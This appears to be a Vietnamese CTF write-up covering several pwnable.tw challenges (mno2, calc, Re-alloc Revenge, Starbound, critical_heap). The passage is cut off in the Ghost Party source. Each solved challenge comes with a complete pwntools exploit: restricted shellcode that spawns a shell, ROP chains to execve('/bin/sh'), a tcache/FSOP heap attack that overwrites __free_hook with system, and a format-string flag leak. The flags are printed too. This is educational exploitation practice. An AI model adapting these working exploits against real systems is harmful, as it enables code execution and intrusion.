- khá giống bài ``Alive Note`` , nhưng khó hơn ở chỗ các byte là nguyên tố hoá học ---> periodic_shellcode
- [link byte shellcode](https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html?_wkts_=1705022728292)
- [link chain shellcode](https://defuse.ca/online-x86-assembler.htm#disassembly)
- đầu tiên trong mớ nguyên tố ta lọc được các byte liên quan đến 4 thanh ghi 32bits như sau
```txt
X: pop eax (Xe: pop eax)
P: push eax
Y: pop ecx
H: dec eax
A: inc ecx
I: dec ecx
chữ e là byte 65, là byte not used
khi kết hợp thành Xe, e được hiểu là thanh ghi gs (bit cờ)
---> không quan trọng nhưng cần để bypass
```

- workflow:
```text
shellcode_addr sẽ trên eax
đẩy eax lên stack đưa đỡ vào ecx
rồi từ eax đẩy các byte đem đi xor với [ecx+offset] thành int 0x80
xor từng byte thành int 0x80 nên ecx cũng +1
những byte khác không liên quan đem vào để thoả mãn nguyên tố thôi
cuối payload sẽ lựa các byte trong nguyên tố sao cho
khi xor 0xff hay xor các byte in được khác ra int 0x80
rồi eax xor sao về 3
rồi shellcode còn lại thực thi 1 cái khác
(không ảnh hưởng 4 thanh ghi chủ chốt cho đến int 0x80 là được)
```
```asm
0: 50 push eax #P
1: 59 pop ecx #Y
2: 42 inc edx #B
3: 68 30 30 30 30 push 0x30303030 #h0000
8: 58 pop eax #X
9: 65 42 gs inc edx #eB
b: 35 30 30 30 30 xor eax,0x30303030 #50000
10: 48 dec eax #H
11: 42 inc edx #B
12: 68 30 30 30 30 push 0x30303030 #h0000
17: 30 41 67 xor BYTE PTR [ecx+0x67],al #0Ag
1a: 41 inc ecx #A
1b: 67 42 addr16 inc edx #gB
1d: 68 30 30 30 30 push 0x30303030 #h0000
22: 30 41 67 xor BYTE PTR [ecx+0x67],al #0Ag
25: 42 inc edx #B
26: 68 30 30 30 30 push 0x30303030 #h0000
2b: 58 pop eax #X
2c: 65 42 gs inc edx #eB
2e: 68 30 30 30 30 push 0x30303030 #h0000
33: 30 41 67 xor BYTE PTR [ecx+0x67],al #0Ag
36: 35 33 30 30 30 xor eax,0x30303033 #53000
```
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.arch = 'i386'
context.binary = exe = ELF('./mno2',checksec=False)
p = remote('chall.pwnable.tw', 10301)
# p = process(exe.path)
# gdb.attach(p,gdbscript='''
# b*main+167
# c
# ''')
# input()
table = [
'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F',
'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl',
'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn',
'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As',
'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb',
'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In',
'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La',
'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb',
'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta',
'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl',
'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac',
'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk',
'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db',
'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv'
]
shellcode = asm('''
push eax
pop ecx
inc edx
push 0x30303030
pop eax
gs inc edx
xor eax, 0x30303030
dec eax
inc edx
push 0x30303030
xor byte ptr [ecx+0x67],al
inc ecx
addr16 inc edx
push 0x30303030
xor byte ptr [ecx+0x67],al
inc edx
push 0x30303030
pop eax
gs inc edx
push 0x30303030
xor byte ptr [ecx+0x67],al
xor eax, 0x30303033
''')
shellcode += b'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O'
pl = b'PYBh0000XeB50000HBh00000AgAgBh00000AgBh0000XeBh00000Ag53000NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O'
p.sendline(shellcode)
# p.sendline(pl)
p.sendline(b'\x90'*0x6a + asm(shellcraft.sh()))
p.interactive()
#FLAG{4(7|-||>4|_||\||>|>|_|4|\/|(|\/|b|<(|=35|=|\/||\/|d|\|0|_.-}
```
>``FLAG{4(7|-||>4|_||\||>|>|_|4|\/|(|\/|b|<(|=35|=|\/||\/|d|\|0|_.-}``
---
## calc [150 pts]
- description
Have you ever use Microsoft calculator?
``nc chall.pwnable.tw 10100``
[calc](https://pwnable.tw/static/chall/calc)
- basic file check

- check ida

>**main()**

>**calc()**

>**get_expr()**
>đọc từng byte
>white-list [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -, +, /, *, %]

>**init_pool()**


>**parse_expr()**

>**eval()**
### analyse
- sau khi thử 1 số run test, ta nhận được các info sau
- biểu thức complicated 👉 output wrong answer
- biểu thức lỗi : '12 - - 2' 👉 expression error !
- biểu thức số học : '+12' 👉 weird output

- chung quy lỗi "expression error!" xuất hiện khi kế kí tự phép toán lại là 1 kí tự phép toán khác
- note lại vài địa chỉ và code
```c
int count[101]; //$esp+0x18
--------------------------------
printf("%d\n", count[count[0]]);
```
- phân tích tại sao '+12' ra 0
>debug đặt breakpoint ở `b*calc+121` sau **parse_expr()**

>highlight trắng là **count**
>highlight vàng là **count[count[12]]**
>lúc này là NULL nên in ra 0
- run test leak canary
> canary ở $esp+0x5ac, count ở $esp+0x18
> (0x5ac-0x18)/4 = 357
> input: +357
> breakpoint `b*calc+157` sau **printf**

>chuẩn bài
- more run test

>stack smashing ???
>thế '+12' đó, là có thể thay đổi canary ư
- nếu thay đổi được value, thì giả sử tại đó value âm, ta chỉ cần '+' bù là ra 0 rồi cộng tiếp data
- nhưng đừng quên là có filter 2 phép toán liên tiếp nên thay vì '+' ta sẽ '-'
> nôm na là '-' với '-' ra '+'
- conclusion:
- leak arbitrary on stack
- change value arbitrary on stack
### ROP chain
- đã ow thoải mái, ngại gì không ROP
- canary là +357: $ebp-0xc ---> +360: $ebp ---> +361: $eip
- $ebx cần 1 địa chỉ trỏ tới '/bin/sh\0'
- ta sẽ truyền tay '/bin/sh\0' rồi đưa vào 1 địa chỉ bằng gadget ``add ptr[e__], e__ ; ret``
- còn lại là setup gọi execve
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./calc',checksec=False)
# p = process(exe.path)
p = remote('chall.pwnable.tw', 10100)
p.recvline()
addr_binsh = 0x80eba00 #rw_section
_bin = u32(b'/bin')
__sh = u32(b'/sh\0')
pop_eax = 0x0805c34b
pop_ecx_ebx = 0x080701d1
pop_edx = 0x080701aa
add_ecx = 0x080958c2 # add dword ptr [ecx], eax; ret
int80_ret = 0x08070880
def add(index, data):
show = "+" + str(index)
p.sendline(show)
leak = int(p.recvline())
if (leak < 0):
leak *= -1
payload = show
payload += "+" + str(int(data))
payload += "-" + str(leak)
p.sendline(payload)
log.info("calc: "+ str(payload))
p.recvline()*3
add(361, pop_eax)
add(362, _bin)
add(363, pop_ecx_ebx)
add(364, addr_binsh)
add(365, addr_binsh)
add(366, add_ecx)
add(367, pop_eax)
add(368, __sh)
add(369, pop_ecx_ebx)
add(370, addr_binsh+4)
add(371, addr_binsh+4)
add(372, add_ecx)
add(373, pop_eax)
add(374, 0xb)
add(375, pop_ecx_ebx)
add(376, addr_binsh+8)
add(377, addr_binsh)
add(378, pop_edx)
add(379, addr_binsh+8)
add(380, int80_ret)
p.sendline(b"a")
p.interactive()
#FLAG{C:\Windows\System32\calc.exe}
```
>FLAG{C:\Windows\System32\calc.exe}
---
## Re-alloc Revenge [350 pts]
- description
Realloc the world!
`nc chall.pwnable.tw 10310`
[re-alloc_revenge](https://pwnable.tw/static/chall/re-alloc_revenge)
[libc.so](https://pwnable.tw/static/libc/libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so)
- basic file check

- check ida

>**main()**

>**allocate()**

>**reallocate()**

>**rfree()**
### analyse
- source tương đồng bài Re-alloc, nhưng ở đây PIE bật nên exe dynamic
- libc 2.29 nên có cơ chế bảo vệ ở bk_pointer, tận dụng option2 là realloc để modify null
- note là trong quá trình DEBUG, luôn set các giá trị thoả mãn cho giả định để brute
> pwndbg> set *addr = value
### make ubin
- trigger DBF rồi sửa 2 byte trỏ về tcache_perthread_struct, sửa tiếp count=7 để free vào ubin
> free ngay đầu thread nên có size là 0x251 (size của tcache)
> cần sửa count=7 ngay entry 0x250
- tỉ lệ cho sửa tcache_perthread_struct là 1/16
> 
> 2 byte
> 1 byte cố định \x10
> 1 byte còn lại trong đó nửa byte biết trước \x_0, tỉ lệ cho nửa byte còn lại là 0x0 đến 0xf ~ 1/16
- tỉ lệ thất bại sẽ nằm trong 2 khả năng
- ngoài phạm vi heap: báo lỗi `delete(): invalid pointer`
- trong heap nhưng sai ptr: EOFError
### leak libc
- nếu thành công qua tiếp leak libc bằng FSOP (cũng tỉ lệ sucess là 1/16)
> chọn _IO_2_1_stdout
> 
> 0x77af6933b758 (lui 8 để malloc lại đúng b760)
> 2 byte
> 1 byte cố định \x58
> 1 byte, nửa byte biết trước là \x_7, nửa byte còn lại hên xui
### free_hook = system
- payload cho lúc leak libc sẽ gồm luôn '/bin/sh\0'
- làm ptr lúc **free** là chunk chứa '/bin/sh\0'
---> **delete(idx)** chunk bớt trước khi send payload cho FSOP
- ta sẽ tận dụng tcache để malloc ra free_hook

>idx0 là stdout-8
>idx1 là còn tcache_perthread_struct
>chọn **edit(1)**

> sẽ ghi free_hook ở địa chỉ tô xanh đó
> có size là 0x20
> 
> (nhìn 0x50 lui xuống)
- sau đó xoá idx1 đi rồi add cái mới ghi system (sie 0x20)
- rồi trigger bằng cách **delete** nơi idx là payload FSOP

### get flag
- tỉ lệ ăn shell là 1/16 * 1/16 =))))

- trời độ thì 2 lần =))))

- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./re-alloc_revenge_patched',checksec=False)
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so',checksec=False)
ld = ELF('./ld-2.29.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*menu+119
b*reallocate+194
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def add(idx, size, data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
sa(b'Data:',data)
def edit(idx, size, data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
if size == 0:
return
sa(b'Data:',data)
def delete(idx):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(idx))
while True:
while True:
p = remote('chall.pwnable.tw', 10310)
# p = process(exe.path)
GDB()
add(0,0x48, b'aaaa') #idx0:8260
edit(0,0, b'') #free
edit(0,0x48, b'\0'*0x10) #modify bk_pointer
edit(0,0, b'') #DBF without delete ptr
edit(0, 0x48, b'\x10\x80') #1/16 chance of success
# bin_0x50 : 8260->8010
# point to tcache_perthread struct
add(1, 0x48, b'aaaa') #idx1:8010 # use 8260
# bin_0x50 : 8010
edit(1, 0x58, b'AAAA') #8260 #fake_size 0x60
# keep bin_0x50
delete(1) #clear idx1:8010
try:
add(1, 0x48, b'\0' * 0x23 + b'\x07') #idx1:8010 #make count = 7
edit(1, 0, b'') #free 8010 ---> ubin size 0x250 (size tcache)
message = p.recvline()
if message == b'free(): invalid pointer\n':
raise EOFError('Incorrect Guess')
break
except EOFError:
p.close()
info("##################")
info("# stage2 #")
info("##################")
edit(1, 0x48, b'\x58\x87') # 1/16 chance of success
# bin_0x50 : 8010->stdout-8
edit(0, 0x38, b'\0'*0x10) #8260 #modify bk_pointer
delete(0) #clear idx0:8260
add(0, 0x48, b'A') #idx0:8010
#bin_0x50 : stdout-8
delete(0) #clear idx0:8010
try:
# overwrite _flags & _IO_write_base to leak libc address
add(0, 0x40, b'/bin/sh\0' + p64(0xfbad1800) + p64(0) * 3) #idx0:stdout-8
leak = p.recvline()
if leak.startswith(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$'):
raise EOFError('Incorrect Guess')
break
except EOFError:
p.close()
libc_leak = u64(leak[8:16])
libc.address = libc_leak - 0x1e7570
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
# overwrite __free_hook with system
edit(1, 0x48, p64(0) * 8 + p64(libc.sym['__free_hook']))
delete(1)
add(1, 0x18, p64(libc.sym['system']))
delete(0) #get_shell
p.interactive()
#FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3}
```
>FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3}
---
## Starbound [250 pts]
- description:
Let's play starbound together!
multi-player features are disabled.
`nc chall.pwnable.tw 10202`
[starbound](https://pwnable.tw/static/chall/starbound)
- basic file check

- khi run file, có thể thấy sẽ thiếu 1 số libc nên trong script có để lệnh tải bổ sung nếu máy bạn chưa có
>thiếu nữa thì hỏi chat gpt đi nha =))))
- check ida

>**main()**
về mấy hàm khác khá là nhiều, nên tóm gọn lại có 7 options

> run binary

>**show_main_menu()**
đi qua lần lượt các hàm thì có mỗi hàm **cmd_setting()** dường như có BUG
> sẽ không chụp màn hình tất cả func, do một số không có gì để khai thác

>**cmd_setting()**
cụ thể là option 2

>**cmd_set_name()**
dù file là not stripped nhưng mình vẫn rename một số hàm và biến

>**name** = 0x80580d0
### analyse
- thấy là **read()** vào biến **name** tận 100 bytes, và **name** lại là phân vùng bss
- sau đó set cuối payload là 0 (chắc gửi sendline để set 0xa về 0x0)
- khi chọn option 6 là **cmd_setting()** thì khi loop lại **main()** sẽ thay đổi **menu()** từ **show_main_menu()** sang **show_settings_menu()**

- BUG ở trong chính hàm **main()** , hàm **strtol** lấy số từ chuỗi, rồi từ số đó mà thực thi ***option[choice]**

>không hề check số âm
===> Out of bound
- logical thinking: trỏ **option** về **name** để thực thi, đồng thời **name** là 1 địa chỉ thực thi được

> offset = -33
- vì khả năng **read()** tận 256 byte nên có thể setup payload thực thi ROPchain
### ROP
- chall này có nhiều hàm được đề cập trong đây

>thấy đủ cả **open** , **read** và **write**
- z chain ROP là orw đọc flag thôi
- thường format flag là '/home/<chall>/flag'
>phán đoán từ mấy bài trước
>kết luận là '/home/starbound/flag'

- payload nhập từ đây, đồng nghĩa ta cần kiếm gadget nào đó tăng $esp lên rồi ret

>0x08048e48
- rồi từ đó gia giảm padding phù hợp để ret
### orw
- open

> dù $ebx nên là đường dẫn flag nhưng ở đây lại lấy $ecx

> open thành công return 3
> 0 1 2 ứng std in out err
> từ 3 trở lên là đối với tệp tin hoặc socket được mở
> ---> ở read cần fd = 3
- sau khi open, nó sẽ return tiếp theo, thì ta sẽ lấy gadget này

>tăng $esp lên 8 rồi pop ebx
>bỏ qua 3 stack (3 thanh ghi setup cho việc call)
>quá ư là phù hợp
- read

> ở bước read này, ta cần ebx=3, ecx=rw_section, edx=100
> read vậy cho thoải mái

>ok vậy xong, việc còn lại là write ra tại rw_section đó thôi
- write

- lúc này là xong, ta không cần return sau write nào hết nên để gì cũng được
### get flag

- maybe bài này có thể dùng cách khác ngoài orw
> đang nghĩ đến ret2dlresolved để get_shell
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./starbound',checksec=False)
#sudo apt-get install zlib1g:i386
#sudo apt-get install libssl1.0.0:i386
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x8049362
b*0x804A654
b*0x8049972
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10202)
else:
p = process(exe.path)
open_addr = exe.plt.open
read_addr = exe.plt.read
write_addr = exe.plt.write
name = 0x080580D0
add_esp_0x1c_ret = 0x08048e48
if args.REMOTE:
target_path = b'/home/starbound/flag'
else:
target_path = b'flag'
sla(b'> ',b'6')
sla(b'> ',b'2')
GDB()
sla(b'name: ',p32(add_esp_0x1c_ret)+target_path)
add_esp_0x8_pop_ebx_ret = 0x08048936
rw_section = 0x8058180
payload = p32(open_addr) + p32(add_esp_0x8_pop_ebx_ret) + p32(name + 4) + p32(0) + p32(0)
payload += p32(read_addr) + p32(add_esp_0x8_pop_ebx_ret) + p32(3) + p32(rw_section) + p32(100)
payload += p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(rw_section) + p32(100)
sla(b'> ',b'-33\0' + b'aaaa' + payload )
p.interactive()
#FLAG{st4r_st4r_st4r_b0und}
```
>FLAG{st4r_st4r_st4r_b0und}
---
## criticalheap [200 pts]
- description:
There are some secrets . Try to capture ``/home/critical_heap++/flag``.
We recommend you to use the provided docker environment to develop your exploit:
`nc chall.pwnable.tw 10500`
[critical_heap.tar.gz](https://pwnable.tw/static/chall/critical_heap.tar.gz)
- basic file check

- check ida (có rename)

>**main()**

>**add()**
>mỗi lần chọn option này, sẽ tạo 1 index mới (max 10 cái)
>yêu cầu nhập **name** rồi sau đó dùng hàm **strdup()** tạo ptr heap chứa **name**
>
>sau đó cho mình 3 lựa chọn

>**normal()**
>tạo struct như sau
>```txt
>0x0 : name
>0x10 : 0x13371337
>0x18 : content
>...
>```

>**clock()**
>tạo struct như sau
>```txt
>0x0 : name
>0x10 : 0xDEADBEEF
>0x18 : localtime(&timer) #get curent time
>...
>```

>**system()**
>tạo struct như sau
>```txt
>0x0 : name
>0x10 : 0x48694869
>0x18 : get_curnt_dir_name()
>0x20 : NULL
>0x38 : rand()
>...
>```


>**show()**
>sau khi nhận index, nó sẽ check tại đó là function gì bằng cách lấy giá trị tại **heap[idx+2]** tức là cái struct ở 0x10

>**edit()**
>đơn giản là sửa **name** (lấy len bằng **name** lúc đầu)
>không có BUG

>**play()**
>tương tự như **show()**, lần này nó triển khai thêm 3 func khác

>**normal_func()**
>
> - option1, thấy được có BUG fmtstr ở đây khi dùng hàm **__printf_chk()** mà không format
> - option2, cho phép ta thay đổi content, rồi set cuối struct là địa chỉ gì đó

>**clock_func()**
>
> - option1, in ra time trên heap
> - option2, update time


>**system_func()**
>
> - option1, input **name** và **value**, nó sẽ set environment bằng **setenv(name,value)**
> - option2, **unsetenv()** thôi, ngược với option1
> - option3, lấy đường dẫn, không có gì đặc biệt
> - option4, dùng **getenv()** để lấy biến môi trường, nếu không chọn 'USER' (+0x28) hay 'SYS' (+0x30), nó sẽ gán ở struct + 0x20

>**delete()**
>xoá heap nhưng không dùng **free()**
>tức là chỉ xoá index trên biến **heap**
>maybe có vulnerable

>**heap** = 0x604040
### analyse
- source khá dài và mệt đầu, nhưng thắc mắc hàm **localtime()** nó sẽ làm gì

>https://codebrowser.dev/glibc/glibc/time/localtime.c.html#30
>jump vào hàm **__tz_convert()**

>https://codebrowser.dev/glibc/glibc/time/tzset.c.html#__tz_convert
>lại jump vào hàm **tzset_internal()**

>https://codebrowser.dev/glibc/glibc/time/tzset.c.html#tzset_internal
>lấy biến môi trường là `TZ` gán vào **tz**
>kiểm tra data của **tz**

> ở đây thấy nếu **tz** khác NULL, nó sẽ cố gắng đọc file bằng hàm **__tzfile_read**
- túm lại nếu ta có thể set được biến môi trường `TZ` là đường dẫn tới flag, là ta có flag trên file rồi
- lục lại kí ức, hàm **system_func()** có chức năng đó ---> ngol liền
- thêm cái nữa có fmtstr, z dùng '%s' leak ra thôi
- NHƯNG MÀ ...
- return value của **localtime()** là 1 địa chỉ heap
---> leak heap
### leak heap
- ở đây ta sẽ tận dụng BUG không xoá 'hoàn toàn' heap ở hàm **delete()**
- ngẫm lại, **system_func()** chọn option 3 sẽ gán return_value của **getenv()** ở struct+0x20
- thêm cái nữa ở **normal()**, khi **add()** tạo heap với option1, nó input **content** ở 0x18 và hàm **show()** nó dùng '%s' để in
- problem solved =)))))
- work flow:
```txt
add -> system, set, get
delete
add -> normal, b'A'*8
show
```
### change env
- work flow:
```txt
add -> system, set TZ + path_flag
```
### print flag
- dùng option2 khi tạo mới heap
```txt
add -> clock
```
- debug chậm ở **__tzfile_read()** để lấy giá trị heap trả về, tính offset

>kiểm tra arg

> read thành công
- rồi ta vào **normal_func()** chọn option2 để thay đổi content rồi option1 để dùng fmtstr
- lưu ý là hàm **__printf_chk()** là biến thể của **printf()**, không phải là hàm tiêu chuẩn, sự khác nhau nằm ở phiên bản và môi trường cụ thể
> nôm na là không thể dùng '$' để trỏ đến địa chỉ cụ thể
> ta dùng '%c' padding vừa đủ argument và căn chỉnh địa chỉ heap chứa flag trên stack

### note
- lưu ý cái nữa là trên local và server khác nhau về current time, nên kết hợp với Dockerfile như description bảo và lấy offset cho đúng
- dưới đây mình có sửa lại file như sau
#### Dockerfile
```dockerfile
FROM ubuntu:16.04
MAINTAINER angelboy
RUN apt-get update
RUN apt-get install xinetd -y
RUN apt-get install libc6-dev-i386 -y
RUN useradd -m critical_heap++
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN chown -R root:root /home/critical_heap++
CMD ["/usr/sbin/xinetd","-dontfork"]
RUN apt-get install nano
RUN apt install python3 -y
RUN apt-get install gdb git -y
WORKDIR /root
RUN git clone https://github.com/scwuaptx/Pwngdb.git ; cp ~/Pwngdb/.gdbinit ~/
RUN git clone https://github.com/scwuaptx/peda.git ~/peda ; echo "source ~/peda/peda.py" >> ~/.gdbinit ; cp ~/peda/.inputrc ~/
```
- [xem thêm](https://hackmd.io/@trhoanglan04/docker#debug-docker)
#### docker-compose.yml
```yaml
critical_heap:
build: ./
environment:
- PWN=yes
- DDAA=phd
- OLDPWD=/home
- LOGNAME=critical_heap++
- XDG_RUNTIME_DIR=/run/user/1000
- LESSOPEN=| /usr/bin/lesspipe %s
- LANG=en_US
- SHLVL=1
- SHELL=/bin/bash
- ID=1337
- HOSTNAME=pwnable.tw
- MAIL=/var/mail/critical_heap++
- HEAP=fun
- FLAG=/
- ROOT=/
- TCP_PORT=56746
- PORT=4869
- X_PORT=56746
- SERVICE=critical_heap++
- XPC_FLAGS=0x0
- TMPDIR=/tmp
- RBENV_SHELL=bash
volumes:
- ./critical_heap:/home/critical_heap++/critical_heap
- ./xinetd:/etc/xinetd.d/xinetd
- ./tmp:/tmp
ports:
- "56746:4869"
expose:
- "4869"
cap_add:
- SYS_PTRACE
```
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('critical_heap', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x401272
#add_system
b*0x400FA9
#normal_content
b*0x402184
#delete
b*0x401195
#add_strdup_name
b*0x400FF8
#clock_localtime
b*0x401D77
#system_setenv
b*0x401F4C
#system_getenv
b*0x40194B
#normal_printf_chk
b*0x40197F
#normal_read_change_content
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10500)
else:
p = process(exe.path)
def add(name, num, content=None):
sla(b'choice : ',b'1')
sa(b'heap:',name)
sla(b'choice : ',str(num))
if num == 1:
sa('Content of heap :',content)
def show(idx):
sla(b'choice : ',b'2')
sla(b'heap :' ,str(idx))
def delete(idx):
sla(b'choice : ',b'5')
sla(b'heap :' ,str(idx))
def play(idx):
sla(b'choice : ',b'4')
sla(b'heap :' ,str(idx))
def set_name(name,value):
sla(b'choice : ',b'1')
sla(b'heap :',name)
sla(b'name :',value)
def get_value(name):
sla(b'choice : ',b'4')
sla(b'see :',name)
def back():
sla(b'choice : ',b'5')
#idx0
add(b'aaaa',3) #system
play(0) #system
set_name(b'abcd',b'efgh') #setenv abcd
get_value(b'abcd') #getenv->0x20: value
back()
delete(0)
#idx0
add(b'bbbb',1,b'A'*8) #normal #0x18->0x20
show(0) #leak value
p.recvuntil(b'A'*8)
heap_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\0'))
if args.REMOTE:
heap_base = heap_leak - 0x145
else:
heap_base = heap_leak - 0x4b5
info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))
flag = b'/home/critical_heap++/flag'
#idx1
add(b'cccc',3) #system
play(1) #system
set_name(b'TZ',flag)
back()
# GDB()
#idx2
add(b'dddd',2) #clock
if args.REMOTE:
flag_addr = heap_base + 0x4d0
else:
flag_addr = heap_base + 0x7d0
play(0) #normal
sla(b'choice : ',b'2')
payload = b'%c%c%c%c%c%c%c%c%c%c%c%s' + p64(flag_addr)
sla('Content :',payload)
sla(b'choice : ',b'1')
#0x71e733
p.interactive()
#FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}
```
>FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}
---
## Ghost Party [450 pts]
- description:
Welcome to ghost island and enjoy the ghost party.
`nc chall.pwnable.tw 10401`
[ghostparty](https://pwnable.tw/static/chall/ghostparty)
[ghostparty.cpp](https://pwnable.tw/static/chall/ghostparty.cpp)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- basic file check

>nay đổi gió làm trên WSL =)))
- source:
> dài lắm nên k patse vào đây nha
> các đồng chí tự coi source rồi ở mục analyse sẽ phân tích
### analsye
- trước hết đây là file .cpp nên cách khai thác sẽ hoàn toàn khác so với file .c ta thường gặp
> https://hackmd.io/@trhoanglan04/pwningCpp
- source sẽ tạo class cha Ghost
```c
class Ghost {
public :
Ghost():name(NULL),age(0){
type = "Ghost";
};
Ghost(const Ghost ©ghost){
name = new char[strlen(copyghost.name) + 1] ;
strcpy(name,copyghost.name) ;
type = copyghost.type;
age = copyghost.age ;
msg = copyghost.msg ;
}
Ghost& operator=(const Ghost ©ghost){
name = new char[strlen(copyghost.name) + 1] ;
strcpy(name,copyghost.name) ;
type = copyghost.type;
age = copyghost.age ;
msg = copyghost.msg ;
}
char *getname(){
return name ;
}
string gettype(){
return type ;
}
virtual void speak(){
cout << "<<" << name << ">>" <<" speak : " << msg << endl;
};
virtual int changemsg(string str){
msg = str ;
return 1 ;
}
virtual void ghostinfo(){
cout << "Type : " << type << endl ;
cout << "Name : " << name << endl ;
cout << "Age : " << age << endl ;
}
virtual ~Ghost(){
age = 0 ;
msg.clear();
type.clear();
memset(name,0,malloc_usable_size(name));
delete[] name ;
};
protected :
int age ;
char *name ;
string type ;
string msg ;
};
```
> khởi tạo (constructor)
> sao chép (copy constructor)
> huỷ (destructor)
> ---> cấu trúc của Rule of Three in C++
- có tổng 10 class con
> wolf, devil, zombie, skull, mummy, dullahan, vampire, yuki, kasa, alan
- vấn đề là ở class Vampire:
```c
class Vampire : public Ghost {
public :
Vampire():blood(NULL){
type = "Vampire" ;
};
Vampire(int ghostage,string ghostname,string ghostmsg){
type = "Vampire";
age = ghostage ;
name = new char[ghostname.length() + 1];
strcpy(name,ghostname.c_str());
msg = ghostmsg ;
blood = NULL ;
};
void addblood(string com){
blood = new char[com.length()+1];
memcpy(blood,com.c_str(),com.length());
}
void ghostinfo(){
cout << "Type : " << type << endl ;
cout << "Name : " << name << endl ;
cout << "Age : " << age << endl ;
cout << "Blood : " << blood << endl ;
}
~Vampire(){
delete[] blood;
};
private :
char *blood ;
};
```
> ở class này nó không thiết lặp 'copy constructor'
> mà lại có destructor
> nên khi gán bằng `operator =` sẽ tạo shallow copy
```c
case 7 :
{
string blood ;
Vampire *ghost = new Vampire(age,name,message);
cout << "Add blood :" ;
cin.ignore();
getline(cin,blood);
ghost->addblood(blood) ;
smalllist(ghost);
break ;
}
```
> shallow copy là copy y nguyên ban đầu
> nếu class đó đã chứa 1 ptr thì nó sẽ copy ptr đó
> thay vì phải tạo 1 ptr mới rồi copy dữ liệu vào ptr đó
> nên khi call destructor sẽ free ptr đó
> trong khi ptr của cái class ban đầu vẫn trỏ đến
> ---> UAF
> lưu ý trong C++ mỗi `new` nó sẽ tạo heap
- với class Mummy:
```c
class Mummy : public Ghost {
public :
Mummy(){
type = "Mummy" ;
};
Mummy(int ghostage,string ghostname,string ghostmsg){
type = "Mummy";
age = ghostage ;
name = new char[ghostname.length() + 1];
memcpy(name,ghostname.c_str(),ghostname.length());
msg = ghostmsg ;
};
void addbandage(string ban){
bandage = ban ;
}
void ghostinfo(){
cout << "Type : " << type << endl ;
cout << "Name : " << name << endl ;
cout << "Age : " << age << endl ;
cout << "Bandage : " << bandage << endl ;
}
~Mummy(){
bandage.clear();
};
private :
string bandage ;
};
```
> nó dùng `.clear()` tức là nó k dùng free chunk
- ở class Devil có lẽ đầy đủ nhất
```c
class Devil : public Ghost{
public :
Devil():power(NULL){
type = "Devil" ;
};
Devil(int ghostage,string ghostname,string ghostmsg){
type = "Devil";
age = ghostage ;
name = new char[ghostname.length() + 1];
strcpy(name,ghostname.c_str());
msg = ghostmsg ;
power = NULL ;
};
Devil(const Devil ©ghost){
name = new char[strlen(copyghost.name) + 1] ;
strcpy(name,copyghost.name) ;
type = copyghost.type;
age = copyghost.age ;
msg = copyghost.msg ;
power = new char[strlen(copyghost.power)+1];
strcpy(power,copyghost.power);
};
void addpower(string str){
